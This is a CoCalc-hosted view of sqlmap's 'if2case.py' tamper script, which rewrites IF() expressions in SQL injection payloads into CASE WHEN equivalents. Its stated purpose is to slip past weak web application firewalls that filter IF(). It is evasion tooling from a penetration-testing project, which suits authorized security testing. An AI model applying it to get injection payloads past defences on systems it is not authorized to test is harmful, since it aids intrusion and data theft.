Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/tamper/if2case.py
2983 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'doc/COPYING' for copying permission
6
"""
7
8
from lib.core.compat import xrange
9
from lib.core.enums import PRIORITY
10
from lib.core.settings import REPLACEMENT_MARKER
11
12
__priority__ = PRIORITY.HIGHEST
13
14
def dependencies():
15
pass
16
17
def tamper(payload, **kwargs):
18
"""
19
Replaces instances like 'IF(A, B, C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart
20
21
Requirement:
22
* MySQL
23
* SQLite (possibly)
24
* SAP MaxDB (possibly)
25
26
Tested against:
27
* MySQL 5.0 and 5.5
28
29
Notes:
30
* Useful to bypass very weak and bespoke web application firewalls
31
that filter the IF() functions
32
33
>>> tamper('IF(1, 2, 3)')
34
'CASE WHEN (1) THEN (2) ELSE (3) END'
35
>>> tamper('SELECT IF((1=1), (SELECT "foo"), NULL)')
36
'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END'
37
"""
38
39
if payload and payload.find("IF") > -1:
40
payload = payload.replace("()", REPLACEMENT_MARKER)
41
while payload.find("IF(") > -1:
42
index = payload.find("IF(")
43
depth = 1
44
commas, end = [], None
45
46
for i in xrange(index + len("IF("), len(payload)):
47
if depth == 1 and payload[i] == ',':
48
commas.append(i)
49
50
elif depth == 1 and payload[i] == ')':
51
end = i
52
break
53
54
elif payload[i] == '(':
55
depth += 1
56
57
elif payload[i] == ')':
58
depth -= 1
59
60
if len(commas) == 2 and end:
61
a = payload[index + len("IF("):commas[0]].strip("()")
62
b = payload[commas[0] + 1:commas[1]].lstrip().strip("()")
63
c = payload[commas[1] + 1:end].lstrip().strip("()")
64
newVal = "CASE WHEN (%s) THEN (%s) ELSE (%s) END" % (a, b, c)
65
payload = payload[:index] + newVal + payload[end + 1:]
66
else:
67
break
68
69
payload = payload.replace(REPLACEMENT_MARKER, "()")
70
71
return payload
72
73